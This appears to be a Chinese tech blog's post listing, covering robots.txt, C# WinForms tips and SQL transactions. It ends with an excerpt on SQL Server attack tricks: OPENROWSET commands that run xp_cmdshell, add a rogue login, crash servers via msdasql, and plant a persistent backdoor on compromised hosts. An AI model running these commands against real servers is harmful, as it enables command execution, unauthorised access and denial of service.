robots.txt详解
什么是robots.txt? robots.txt是 搜索引擎 中访问网站的时候要查看的第一个文件。Robots.txt文件告诉 蜘蛛程序 在服务器上什么文件是可以被查看的。 当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。 robots.txt必须放置在一个站点的 根目录 下,而且文件名必须全部小写。 语法:最简单的 robots.txt 文件使用两条规则: · User-Agent : 适用下列规则的漫游器 · Disallow: 要拦截的网页 编辑本段robots.txt使用误区 误区一:我网站上所有的文件都需要被蜘蛛抓取,那我就没必要添加robots.txt文件了。反正如果该文件不存在,所有的搜索蜘蛛将默认能够访问网站上所有没有被口令保护的页面。 每当用户试图访问某个不存在的 URL 时,服务器都会在日志中记录 404错误 文件(无法找到文件)。每当搜索蜘蛛来寻找并不存在的robots.txt文件时,服务器也将在日志中记录一条404错误文件,所以你应该在网站中添加一个robots.txt。 误区二:在robots.txt文件中设置所有的文件都可以被搜索蜘蛛抓取,这样可以增加网站的收录率。 网站中的 脚本程序 、样式表等文件即使被蜘蛛收录,也不会增加网站的收录率,还只会占用服务器存储空间。因此必须在robots.txt文件里设置不要让搜索蜘蛛索引脚本程序、样式表等文件,具体哪些文件需要排除,在robots.txt使用技巧一文中有详细介绍。 误区三:搜索蜘蛛抓取网页太浪费服务器资源,在robots.txt文件中设置所有的搜索蜘蛛都不能抓取全部的网页。 如果这样的话,会导致整个网站不能被 搜索引擎收录 。 编辑本段robots.txt使用技巧 1. 每当用户试图访问某个不存在的URL时,服务器都会在日志中记录404错误(无法找到文件)。每当搜索蜘蛛来寻找并不存在的robots.txt文件时,服务器也将在日志中记录一条404错误,所以你应该在网站中添加一个robots.txt。 2. 网站管理员必须使蜘蛛程序远离某些服务器上的目录——保证服务器性能。比如:大多数网站服务器都有程序储存在“cgi-bin”目录下,因此在 robots.txt文件中加入“Disallow: /cgi-bin”是个好主意,这样能够避免将所有程序文件被蜘蛛索引,可以节省服务器资源。一般网站中不需要蜘蛛抓取的文件有:后台管理文件、程序脚 本、附件、 数据库文件 、编码文件、样式表文件、模板文件、导航图片和背景图片等等。 下面是 VeryCMS 里的robots.txt文件: User-agent: * Disallow: /admin/ 后台管理文件 Disallow: /require/ 程序文件 Disallow: /attachment/ 附件 Disallow: /images/ 图片 Disallow: /data/ 数据库文件 Disallow: /template/ 模板文件 Disallow: /css/ 样式表文件 Disallow: /lang/ 编码文件 Disallow: /script/ 脚本文件 3. 如果你的网站是 动态网页 ,并且你为这些动态网页创建了静态副本,以供搜索蜘蛛更容易抓取。那么你需要在robots.txt文件里设置避免动态网页被蜘蛛索引,以保证这些网页不会被视为含重复内容。 4. robots.txt文件里还可以直接包括在 sitemap 文件的链接。就像这样: Sitemap: http://www.***.com/sitemap.xml (此处请填写完整URL,如果按习惯填写Sitemap: /sitemap.xml,提交后会提示:检测到无效的 Sitemap 网址;语法错误) 目前对此表示支持的搜索引擎公司有 Google , Yahoo, Ask and MSN。而中文搜索引擎公司,显然不在这个圈子内。这样做的好处就是,站长不用到每个搜索引擎的 站长工具 或者相似的站长部分,去提交自己的sitemap文件,搜索引擎的蜘蛛自己就会抓取robots.txt文件,读取其中的sitemap路径,接着抓取其中相链接的网页。 5. 合理使用robots.txt文件还能避免访问时出错。比如,不能让搜索者直接进入购物车页面。因为没有理由使购物车被收录,所以你可以在robots.txt文件里设置来阻止搜索者直接进入购物车页面。 robots.txt文件的格式 "robots.txt"文件包含一条或更多的记录,这些记录通过空行分开(以CR,CR/NL, or NL作为结束符),每一条记录的格式如下所示: "<field>:<optionalspace><value><optionalspace>"。 在该文件中可以使用#进行注解,具体使用方法和UNIX中的惯例一样。该文件中的记录通常以一行或多行User-agent开始,后面加上若干Disallow和Allow行,详细情况如下: User-agent: 该项的值用于描述搜索引擎 robot 的 名字。在"robots.txt"文件中,如果有多条User-agent记录说明有多个robot会受到"robots.txt"的限制,对该文件来 说,至少要有一条User-agent记录。如果该项的值设为*,则对任何robot均有效,在"robots.txt"文件中,"User- agent:*"这样的记录只能有一条。如果在"robots.txt"文件中,加入"User-agent:SomeBot"和若干Disallow、 Allow行,那么名为"SomeBot"只受到"User-agent:SomeBot"后面的Disallow和Allow行的限制。 Disallow: 该项的值用于描述不希望被访问的一组URL,这个值可以是一条完整的路径,也可以是路径的非空 前缀,以Disallow项的值开头的URL不会被robot访问。例如"Disallow:/help"禁止robot访问/help.html、 /helpabc.html、/help/index.html,而"allow:/help/"则允许robot访问/help.html、 /helpabc.html,不能访问/help/index.html。"Disallow:"说明允许robot访问该网站的所有url,在" /robots.txt"文件中,至少要有一条Disallow记录。如果"/robots.txt"不存在或者为空文件,则对于所有的搜索引擎 robot,该网站都是开放的。 Allow: 该项的值用于描述希望被访问的一组URL,与Disallow项相似,这个值可以是一条完整的 路径,也可以是路径的前缀,以Allow项的值开头的URL是允许robot访问的。例如"Allow:/hibaidu"允许robot访问 /hibaidu.htm、/hibaiducom.html、/hibaidu/com.html。一个网站的所有URL默认是Allow的,所以 Allow通常与Disallow搭配使用,实现允许访问一部分网页同时禁止访问其它所有URL的功能。 需要特别注意的是Disallow与Allow行的顺序是有意义的,robot会根据第一个匹配成功的Allow或Disallow行确定是否访问某个URL。 使用"*"和"$": Baiduspider支持使用通配符"*"和"$"来模糊匹配url。 "$" 匹配行结束符。 "*" 匹配0或多个任意字符。 robots.txt文件用法举例 例1.禁止所有搜索引擎访问网站的任何部分 User-agent: * Disallow: / 例2.允许所有的robot访问 (或者也可以建一个空文件 "/robots.txt") User-agent: * Allow: / 另一种写法是 User-agent: * Disallow: 例3. 仅禁止Baiduspider访问您的网站 User-agent: Baiduspider Disallow: / 例4. 仅允许Baiduspider访问您的网站 User-agent: Baiduspider Allow: / 例5. 禁止spider访问特定目录 在这个例子中,该网站有三个目录对搜索引擎的访问做了限制,即robot不会访问这三个目录。需要注意的是对每一个目录必须分开声明,而不能写成 "Disallow: /cgi-bin/ /tmp/"。 User-agent: * Disallow: /cgi-bin/ Disallow: /tmp/ Disallow: /~joe/ 例6. 允许访问特定目录中的部分url User-agent: * Allow: /cgi-bin/see Allow: /tmp/hi Allow: /~joe/look 例7. 使用"*"限制访问url 禁止访问/cgi-bin/目录下的所有以".htm"为后缀的URL(包含子目录)。 User-agent: * Disallow: /cgi-bin/*.htm 例8. 使用"$"限制访问url 仅允许访问以".htm"为后缀的URL。 User-agent: * Allow: .htm$ 例9. 禁止访问网站中所有的动态页面 User-agent: * Disallow: /*?* 例10. 禁止Baiduspider抓取网站上所有图片 仅允许抓取网页,禁止抓取任何图片。 User-agent: Baiduspider Disallow: .jpg$ Disallow: .jpeg$ Disallow: .gif$ Disallow: .png$ Disallow: .bmp$ 例11. 仅允许Baiduspider抓取网页和.gif格式图片 允许抓取网页和gif格式图片,不允许抓取其他格式图片 User-agent: Baiduspider Allow: .gif$ Disallow: .jpg$ Disallow: .jpeg$ Disallow: .png$ Disallow: .bmp$ 例12. 仅禁止Baiduspider抓取.jpg格式图片 User-agent: Baiduspider Disallow: .jpg$
View Details国内戒指佩戴意义
左手婚姻 1.食指 ——未婚(打算结婚) 2.中指——订婚 3.无名指——结婚 4.小手指——不婚(丧偶、不婚族 等情况) 右手恋爱 1.食指——单身贵族 2.中指——恋爱(心有所属) 3.无名指——热恋中 4.小手指——不谈恋爱 5.大拇指——从国内的现阶段来看,普通人一般不会在大拇指上佩戴戒指,而很多有钱、有权、有势的人会在大拇指上佩戴扳指或戒指,所以大拇指佩戴戒指的含义是财、权的象征,与婚姻、爱情没有直接关系。从中国历史来看,古代的皇帝、皇后、高官及大臣,一般大拇指都有佩戴扳指或戒指。戒指佩戴在大拇指上可以说是中国特色的了。
View DetailsDataGridView 密码列(显示为*号)的设置
DataGridView 密码列(显示为*号)的设置 代码
1 |
<div><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #008080"> 1</span> <span style="color: #000000"> </span><span style="color: #808080">///</span><span style="color: #008000"> </span><span style="color: #808080"><summary></span><span style="color: #008000"><br /></span><span style="color: #008080"> 2</span> <span style="color: #008000"> </span><span style="color: #808080">///</span><span style="color: #008000"> 单元格显示格式事件<br /></span><span style="color: #008080"> 3</span> <span style="color: #008000"> </span><span style="color: #808080">///</span><span style="color: #008000"> </span><span style="color: #808080"></summary></span><span style="color: #008000"><br /></span><span style="color: #008080"> 4</span> <span style="color: #008000"> </span><span style="color: #808080">///</span><span style="color: #008000"> </span><span style="color: #808080"><param name="sender"></param></span><span style="color: #008000"><br /></span><span style="color: #008080"> 5</span> <span style="color: #008000"> </span><span style="color: #808080">///</span><span style="color: #008000"> </span><span style="color: #808080"><param name="e"></param></span><span style="color: #808080"><br /></span><span style="color: #008080"> 6</span> <span style="color: #808080"> </span><span style="color: #000000"> </span><span style="color: #0000ff">private</span><span style="color: #000000"> </span><span style="color: #0000ff">void</span><span style="color: #000000"> dataGridView1_CellFormatting(</span><span style="color: #0000ff">object</span><span style="color: #000000"> sender, DataGridViewCellFormattingEventArgs e)<br /></span><span style="color: #008080"> 7</span> <span style="color: #000000"> {<br /></span><span style="color: #008080"> 8</span> <span style="color: #000000"> </span><span style="color: #008000">//</span><span style="color: #008000"> 把第4列显示*号,*号的个数和实际数据的长度相同</span><span style="color: #008000"><br /></span><span style="color: #008080"> 9</span> <span style="color: #000000"> </span><span style="color: #0000ff">if</span><span style="color: #000000"> (e.ColumnIndex </span><span style="color: #000000">==</span><span style="color: #000000"> </span><span style="color: #800080">3</span><span style="color: #000000">)<br /></span><span style="color: #008080">10</span> <span style="color: #000000"> {<br /></span><span style="color: #008080">11</span> <span style="color: #000000"> </span><span style="color: #0000ff">if</span><span style="color: #000000"> (e.Value </span><span style="color: #000000">!=</span><span style="color: #000000"> </span><span style="color: #0000ff">null</span><span style="color: #000000"> </span><span style="color: #000000">&&</span><span style="color: #000000"> e.Value.ToString().Length </span><span style="color: #000000">></span><span style="color: #000000"> </span><span style="color: #800080">0</span><span style="color: #000000">)<br /></span><span style="color: #008080">12</span> <span style="color: #000000"> {<br /></span><span style="color: #008080">13</span> <span style="color: #000000"> e.Value </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #0000ff">new</span><span style="color: #000000"> </span><span style="color: #0000ff">string</span><span style="color: #000000">(</span><span style="color: #800000">'</span><span style="color: #800000">*</span><span style="color: #800000">'</span><span style="color: #000000">,e.Value.ToString().Length);<br /></span><span style="color: #008080">14</span> <span style="color: #000000"> }<br /></span><span style="color: #008080">15</span> <span style="color: #000000"> }<br /></span><span style="color: #008080">16</span> <span style="color: #000000"> }<br /></span><span style="color: #008080">17</span> <span style="color: #000000"><br /></span><span style="color: #008080">18</span> <span style="color: #000000"> </span><span style="color: #808080">///</span><span style="color: #008000"> </span><span style="color: #808080"><summary></span><span style="color: #008000"><br /></span><span style="color: #008080">19</span> <span style="color: #008000"> </span><span style="color: #808080">///</span><span style="color: #008000"> 编辑单元格控件事件<br /></span><span style="color: #008080">20</span> <span style="color: #008000"> </span><span style="color: #808080">///</span><span style="color: #008000"> </span><span style="color: #808080"></summary></span><span style="color: #008000"><br /></span><span style="color: #008080">21</span> <span style="color: #008000"> </span><span style="color: #808080">///</span><span style="color: #008000"> </span><span style="color: #808080"><param name="sender"></param></span><span style="color: #008000"><br /></span><span style="color: #008080">22</span> <span style="color: #008000"> </span><span style="color: #808080">///</span><span style="color: #008000"> </span><span style="color: #808080"><param name="e"></param></span><span style="color: #808080"><br /></span><span style="color: #008080">23</span> <span style="color: #000000"> </span><span style="color: #0000ff">private</span><span style="color: #000000"> </span><span style="color: #0000ff">void</span><span style="color: #000000"> dataGridView1_EditingControlShowing(</span><span style="color: #0000ff">object</span><span style="color: #000000"> sender, DataGridViewEditingControlShowingEventArgs e)<br /></span><span style="color: #008080">24</span> <span style="color: #000000"> {<br /></span><span style="color: #008080">25</span> <span style="color: #000000"> </span><span style="color: #008000">//</span><span style="color: #008000"> 编辑第4列时,把第4列显示为*号</span><span style="color: #008000"><br /></span><span style="color: #008080">26</span> <span style="color: #000000"> TextBox t </span><span style="color: #000000">=</span><span style="color: #000000"> e.Control </span><span style="color: #0000ff">as</span><span style="color: #000000"> TextBox;<br /></span><span style="color: #008080">27</span> <span style="color: #000000"> </span><span style="color: #0000ff">if</span><span style="color: #000000"> (t </span><span style="color: #000000">!=</span><span style="color: #000000"> </span><span style="color: #0000ff">null</span><span style="color: #000000">)<br /></span><span style="color: #008080">28</span> <span style="color: #000000"> {<br /></span><span style="color: #008080">29</span> <span style="color: #000000"> </span><span style="color: #0000ff">if</span><span style="color: #000000"> (</span><span style="color: #0000ff">this</span><span style="color: #000000">.dataGridView1.CurrentCell.ColumnIndex </span><span style="color: #000000">==</span><span style="color: #000000"> </span><span style="color: #800080">3</span><span style="color: #000000">)<br /></span><span style="color: #008080">30</span> <span style="color: #000000"> t.PasswordChar </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #800000">'</span><span style="color: #800000">*</span><span style="color: #800000">'</span><span style="color: #000000">;<br /></span><span style="color: #008080">31</span> <span style="color: #000000"> </span><span style="color: #0000ff">else</span><span style="color: #000000"><br /></span><span style="color: #008080">32</span> <span style="color: #000000"> t.PasswordChar </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #0000ff">new</span><span style="color: #000000"> </span><span style="color: #0000ff">char</span><span style="color: #000000">();<br /></span><span style="color: #008080">33</span> <span style="color: #000000"> }<br /></span><span style="color: #008080">34</span> <span style="color: #000000"> }</span></div> |
1 |
|
1 |
|
Login窗口的实现方法
一:Win Form登录机制的实现Main窗体为应用程式主窗体,Login为登录窗体.两种实现方式如下:1、应用程式入口放在Login窗体,在Login窗体实现登录机制,验证通过则创建Main窗体的实例,并将自身隐藏.具体实现: ///Step1:验证登录///Step2:通过this.hide( );oMain.Show( );虽然可以实现登录机制,但是Login窗体并没有释放掉,而是被隐藏掉,内存资源未有效利用.这种方式其实是不可取的.2、应用程式入口放在Main窗体,在Main函数中创建Login窗体的实例,Login窗体完成登录验证,返回Main窗体,程式继续执行.需要注意的是Login窗体只有验证通过时返回值才为DialogResult.OK,其余时返回DialogResult.None.这样在Main窗体就可以根据返回值判断是否创建Main窗体的实例./// <summary>/// 应用程序的主入口点./// </summary>[STAThread]static void Main( ){ frmLogin login = new frmLogin( ); login.ShowDialog( ); if( login.DialogResult.Equals( DialogResult.OK ) ) { login.Close( ); Application.Run( new frmMain( ) ); }} 二:利用ImageList作为Resource的载体Win Form的程式,外部文件是比较烦人的事情,这里采用Resource将外部图片文件加载到程式中.而ImageList是一个不错的选择,使用简单.具体实现: ///Step1:将图片在可是模式下加载到ImageList中. ///Step2:程式中可以采用this.imgLstResource.Images[index]的方式获取其中的Image对象.
View Details系统托盘NotifyIcon控件
通知区域中的图标是一些进程的快捷方式,这些进程在计算机后台运行,如防病毒程序或音量控制。这些进程不会具有自己的用户界面。NotifyIcon 类提供了编写此功能的方法。Icon属性定义显示在通知区域中的图标。图标的弹出菜单由 ContextMenu属性确定。Text属性分配工具提示文本。要在通知区域中显示图标,必须将 Visible属性设置为 true。 具体使用方法: (1)新创建一个项目Form1,text属性修改为托盘演示;(2)向Form1窗口中添加一个NotifyIcon控件,修改其Name属性为 MyNotifyIcon。修改其Text属性为 托盘演示,与应用程序的标题相同。这是因为NotifyIcon显示在系统托盘中时,Text属性中保存的 文本为鼠标移动到程序图标上时的提示信息。修改Icon属性,为NotifyIcon添加一个图标;(3)在Form1的属性窗口上,把Icon属性也选择为与NotifyIcon相同的图标。修改ShowInTaskBar属性值为 False,这样,应用程序在运行时就不会出现在任务栏中;(4)添加双击NotifyIcon时的事件处理代码(DoubleClick) private void MynotifyIcon_DoubleClick(object sender, System.EventArgs e) { if(this.Visible) { this.Hide(); }else { this.Show(); } }(5)在使用NotifyIcon控件时,经常需要用到快捷菜单(ContextMenu控件)。使用方法为,向Form1中添加contextmenu控件,添加两个功能,一个为打开主界面,一个为退出。在NotifyIcon的ContextMenu属性中选择刚刚添加的ContextMenu控件。这样在图标上可以通过快捷菜单执行程序的各种功能。 在功能的单击事件中代码如下: private void 打开主界面ToolStripMenuItem_Click(object sender, EventArgs e) { if (this.Visible) { this.Hide(); } else { this.Show(); } } private void 退出ToolStripMenuItem_Click(object sender, EventArgs e) { this.Close(); } 这篇文章继续介绍系统托盘NotifyIcon的使用,项目实现效果为:最小化窗体时,在系统托盘区域显示程序图标,并有气球提示,时间为30秒。效果如图,具体实现如下: 1、创建一个新的项目From1;修改其Text属性为“系统托盘演示”,修改其ShowInTaskbar属性为False,为其添加一个图标。 2、添加一个NotifyIcon控件NotifyIcon1,修改其Text属性为“系统托盘演示”,为其添加一个图标,与From1图标相同。 3、添加一个ContextMenuStrip控件ContextMenuStrip1,添加两个MenuItem,Text属性分别为打开,退出。 并在NotifyIcon控制中的ContextMenuStrip属性中选择刚刚创建的ContextMenuStrip1控件。 4、下面将处理具体事件: (1)Form1_SizeChanged事件,效果为最小化窗体时,在系统托盘区域显示程序图标及气球提示: private void Form1_SizeChanged(object sender, EventArgs e) { if (WindowState == FormWindowState.Minimized) { this.Hide(); this.notifyIcon1.Visible = true; this.notifyIcon1.ShowBalloonTip(30, "注意", "大家好,这是一个事例", ToolTipIcon.Info); } […]
View DetailsC#指定窗口显示位置的方法
在启动一个程序时,我们希望窗口显示的位置处于屏幕的正中心,可以如下设置: MainForm mainForm = new MainForm(); mainForm.StartPosition = FormStartPosition.CenterScreen;mainForm.Show();如果在允许操作主窗口之前,必须先登录,则弹出登录窗口。此时主窗口出现在登录窗口后面,无法进行操作。 MainForm mainForm = new MainForm(); LoginForm dlg=new LoginForm(); dlg.ShowDialog(); 这里ShowDialog方法表示你必须先操作完dlg窗口,才能操作后面的主窗体。 如果要登录窗口显示在主窗口的中心,则在显示之前设置如下 dlg.StartPosition = FormStartPosition.CenterParent; dlg.ShowDialog(); 能够这样做的前提是主窗体必须先定义和显示。否则登录窗体可能无法找到父窗体。 除此之外,也可以手动设置窗口显示的位置,即窗口坐标。 首先必须把窗体的显示位置设置为手动。 dlg.StartPosition=FormStartPosition.Manual; 随后获取屏幕的分辨率,也就是显示器屏幕的大小。 int xWidth = SystemInformation.PrimaryMonitorSize.Width;//获取显示器屏幕宽度 int yHeight = SystemInformation.PrimaryMonitorSize.Height;//高度 然后定义窗口位置,以主窗体为例 mainForm.Location = new Point(xWidth/2, yHeight/2);//这里需要再减去窗体本身的宽度和高度的一半 mainForm.Show(); 这样三步之后,一个准确定位在屏幕位置上的窗体就显示出来了。 用Point类时,必须先把它包含进来,在程序最前面写上: using System.Drawing;
View DetailsC#中父窗口和子窗口之间实现控件互操作
目前常见的有两种方法,基本上大同小异 : 第一种: 在主窗体类中定义一个静态成员,来保存当前主窗体对象,例如: public static yourMainWindow pCurrentWin = null; 然后在主窗体构造函数中,给静态成员初始化,如下: pCurrentWin = this; 那么在子窗体中调用父窗体,可以通过“主窗体类名. pCurrentWin”来操作当前的主窗体。 第二种: 是在子窗体中定义一个私有成员,来保存当前主窗体对象,例如: private yourMainWindow pParentWin = null; 然后在子窗体构造函数中,加一参数,如下: public yourChildWindow( yourMainWindow WinMain ) { pParentWin = WinMain; //Other code } 在主窗体创建子窗体的时候,要把this作为参数来构造子窗体,这样在子窗体中调用父窗体,可以直接用“this.pParentWin”就可以了 不过以上所述的两种方法,只是让你能够访问当前主窗体对象,那么如何操作控件,很多人直接修改控件的成员访问符,即把“private”改为“public”,我觉得这样破坏了本身类的封装,所以我比较喜欢的做法是为控件增加公有属性或方法来供调用,例如: public string ButtonText { get{ return btn.Text;} set{ btn.Text = value;} } public void Button_Click() { this.btnDConvert.PerformClick();//Execute button click }
View DetailswinForm开发集锦
禁止Form窗口调整大小方法:FormBorderStyle 设为FixedSingle; 不能使用最大化窗口: MaximuzeBox 设为False; 不能使用最小化窗口: MinimizeBox 设为False; 禁止combobox输入方法:将DropDownStyle 设为DropDownList 待续……
View DetailsSQL事务
一、事务概念 事务是一种机制、是一种操作序列,它包含了一组数据库操作命令,这组命令要么全部执行,要么全部不执行。因此事务是一个不可分割的工作逻辑单元。在数据库系统上执行并发操作时事务是作为最小的控制单元来使用的。这特别适用于多用户同时操作的数据通信系统。例如:订票、银行、保险公司以及证券交易系统等。 二、事务属性事务4大属性:1 原子性(Atomicity):事务是一个完整的操作。2 一致性(Consistency):当事务完成时,数据必须处于一致状态。3 隔离性(Isolation):对数据进行修改的所有并发事务是彼此隔离的。4 持久性(Durability):事务完成后,它对于系统的影响是永久性的。 三、创建事务T-SQL中管理事务的语句:1 开始事务: begin transaction2 提交事务:commit transaction3 回滚事务: rollback transaction 事务分类:1 显式事务:用begin transaction明确指定事务的开始。2 隐性事务:打开隐性事务:set implicit_transactions on,当以隐性事务模式操作时,SQL Servler将在提交或回滚事务后自动启动新事务。无法描述事务的开始,只需要提交或回滚事务。3 自动提交事务:SQL Server的默认模式,它将每条单独的T-SQL语句视为一个事务。如果成功执行,则自动提交,否则回滚。 示例:张三转800元到李四帐户上。 use stuDBgo--创建帐户表bank--if exists(select* from sysobjects where name=’bank') drop table bankcreate table bank( customerName char(10), --顾客姓名 currentMoney money --当前余额)go/**//*--添加约束,帐户不能少于元--*/alter table bank add constraint CK_currentMoney check(currentMoney>=1)/**//*--插入测试数据--*/insert into bank(customerName,currentMoney)select '张三',1000 unionselect '李四',1 select * from bankgo /**//*--使用事务--*/use stuDBgo--恢复原来的数据--update bank set currentMoney=currentMoney-1000 where customerName=’李'set nocount on --不显示受影响的行数print '查看转帐事务前的余额'select * from bankgo /**//*--开始事务--*/begin transactiondeclare @errorSum int --定义变量,用于累计事务执行过程中的错误/**//*--转帐--*/update bank set currentMoney=currentMoney-800 where customerName=’张三'set @errorSum=@errorSum+@@error --累计是否有错误update bank set currentMoney=currentMoney+800 where customerName=’李四'set @errorSum=@errorSum+@@error --累计是否有错误 […]
View Details注意那些容易被忽略的SQL注入技巧
导读:下面我要谈到一些Sqlserver新的Bug(注入),这些都是从长期的工作中总结出来的经验,现在拿出来与大家一起分享,希望能够对大家有所帮助。 1.关于Openrowset和Opendatasource 可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下: select * from openrowset('sqloledb',’myserver';’sa';",’select * from table') 可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。 那么我们能不能利用它调用XP_cmdshell呢?答案是肯定的! select * from openrowset('sqloledb',’server';’sa';",’set fmtonly off exec master.dbo.XP_cmdshel l "dir c:\"') 必须加上setfmtonlyoff用来屏蔽默认的只返回列信息的设置,这样XP_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。 那么如果我们要调用sp_addlogin呢,他不会像XP_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作: select * from openrowset('sqloledb',’server';’sa';",’select "OK!" exec master.dbo.sp_addlogin Hectic') 这样,命令至少会返回select OK!’的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!’的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。 2.关于Msdasql两次请求的问题 不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下: select * from openrowset('msdasql',’driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn',’s elect * from table1 select * from table2′) 当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死 sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧。 3.可怕的后门 以前在网上看到有人说在 sqlserver上留后门可以通过添加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令: select * from openrowset('sqloledb',’trusted_connection=yes;data source=Hectic',’set fmtonly off exec master..XP_cmdshell "dir c:\"') 这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在 sqlserver2000 sqlserver2000SP1上通过! 另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的 sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令: select * from openrowset ('msdasql',’dsn=locaserver;trusted_connection=yes',’set fmtonly off execmaster..XP_cmdshell "dir c:\"') 应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql […]
View Details